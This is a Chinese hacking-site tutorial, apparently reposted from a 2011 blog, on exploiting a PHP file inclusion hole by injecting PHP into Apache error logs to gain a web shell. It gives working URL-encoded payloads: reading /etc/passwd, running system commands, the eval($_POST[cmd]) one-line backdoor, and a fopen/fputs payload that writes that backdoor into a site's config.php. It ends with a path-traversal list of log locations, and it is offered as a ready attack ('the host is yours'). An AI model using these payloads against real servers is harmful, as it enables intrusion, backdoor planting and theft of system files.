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php包含apache日志获得shell方法详解

时间:2019/7/8 17:08:39   作者:安琪   来源:www.hack361.com   阅读:0   评论:0
内容摘要:php包含apache日志获得shell方法详解2011年07月17日星期日9:09关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行。当然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么...
php包含apache日志获得shell方法详解2011年07月17日 星期日 9:09关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行。当然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。下面是我的测试过程,我觉得很有意思,你也看看。 

比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句 <? include($zizzy); ?>   //包含变量$zizzy 你可以
http://xxx.com/z.php?zizzy=/etc/inetd.conf
http://xxx.com/z.php?zizzy=/proc/cpuinfo
http://xxx.com/z.php?zizzy=/etc/passwd

就可以利用包含语句来查看一些系统环境和密码档文件。 那么关于日志包含下面我们来看:
比如我们的Apache的服务器配置文件位置在这里/usr/local/apache/conf/httpd.conf

那么我们来包含一下httpd.conf,来看下路径信息什么的

http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf 读出Apache的配置信息,

这里列出部分信息。
<VirtualHost 218.63.89.2>User #3Group silverServerAdmin webmaster@xxx.comDocumentRoot /home/virtual/www.xxx.comServerName www.xxx.comServerAlias xxx.comErrorLog /home/virtual/www.xxx.com/logs/www-error_logCustomLog /home/virtual/www.xxx.com/logs/www-access_log commonScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/Alias /icons/ /home/virtual/www.xxx.com/icons</VirtualHost> 而我们提交

http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log就可以读出Apache的错误日志记录

[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does notexist: /home/virtual/www.xxx.com/hack.php[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does notexist: /home/virtual/www.xxx.com/111111111.php[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does notexist: /home/virtual/www.xxx.com/22222.php3[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invokedirectory as script: /home/virtual/www.xxx.com/forum[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invokedirectory as script: /home/virtual/www.xxx.com/blog[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invokedirectory as script: /home/virtual/www.xxx.com/kkkkkkkk 而

数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。 比如我们提交要提交这句,<?phpinfo();?> //查看php的相关信息在这里,我们只能提交URL编码模式,因为我在测试中发现,<?的标记并不被记录,只有转换成URL编码提交才会被完整记录。 在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的<?phpinfo();?>,我们提交http://hi.baidu.com/hack69/?%3C%3Fphpinfo%28%29%3B%3F%3E 这样肯定会报出错找不到页面,而一出错就被记在错误日志里了

http://hi.baidu.com/hack69/?z.php?zizzy=/home ... /logs/www-error_log这样这个日志文件就被包含成了phpinfo的信息,而回显也就成了一个显示php信息的页面。  如果可以的话(能够执行系统命令,也就是safe_mode开着的时候),这样子也不错,

<?system("ls+-la+/home");?>   //执行命令列出home下的文件列表,记得转换为URL格式哦。 

/home/total 9-rw-r--r--   1 www.xxx.com   silver       55 Jan 20 23:01 about.phpdrwxrwxrwx   4 www.xxx.com   silver     4096 Jan 21 06:07 abc-rw-r--r--   1 www.xxx.com   silver     1438 Dec 3 07:39 index.php-rwxrwxrwx   1 www.xxx.com   silver     5709 Jan 21 20:05 show.php -rw-r--r--   1 www.xxx.com   silver     5936 Jan 18 01:37 admin.php-rwxrwxrwx   1 www.xxx.com   silver     5183 Jan 18 15:30 config.php3-rw-rw-rw-   1 www.xxx.com   silver   102229 Jan 21 23:18 info.txtdrwxr-xr-x   2 www.xxx.com   silver     4096 Jan 8 16:03 backup-rw-r--r--   1 www.xxx.com   silver     7024 Dec 4 03:07 test.php 

这样就列出了home下的文件或者直接一句话木马<?eval($_POST[cmd]);?>,

这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。我们提交http://hi.baidu.com/hack69/?%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 

再用lanker的一句话木马客户端一连就OK了。  因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多比如还是这句一句话木马<?eval($_POST[cmd]);?> 到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,

fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。转换为%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E我们提交http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 这样就错误日志里就记录下了这行写入webshell的代码。我们再来包含日志,提交http://hi.baidu.com/hack69/?z.php?zizzy=/home ... /logs/www-error_log 这样webshell就写入成功了,config.php里就写入一句木马语句OK.

http://hi.baidu.com/hack69/?forum/config.php这个就成了我们的webshell直接用lanker的客户端一连,主机就是你的了。 

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 其他的日志路径,你可以去猜,也可以参照这里。附:
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
./../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log/var/log/httpd/access_log      /var/log/httpd/error_log    ../apache/logs/error.log    ../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log/etc/httpd/logs/error.log
/var/www/logs/access_log/var/www/logs/access.log
/usr/local/apache/logs/access_log/usr/local/apache/logs/access.log
/var/log/apache/access_log/var/log/apache/access.log
/var/log/access_log/var/www/logs/error_log/var/www/logs/error.log
/usr/local/apache/logs/error_log/usr/local/apache/logs/error.log
/var/log/apache/error_log/var/log/apache/error.log
/var/log/access_log/var/log/error_log 

PS:文章摘自互连网,个人认为已经比较详细了。如果有什么不足的地方欢迎大家到我的博客下补充,提供个QQ学习交流群:28558272 


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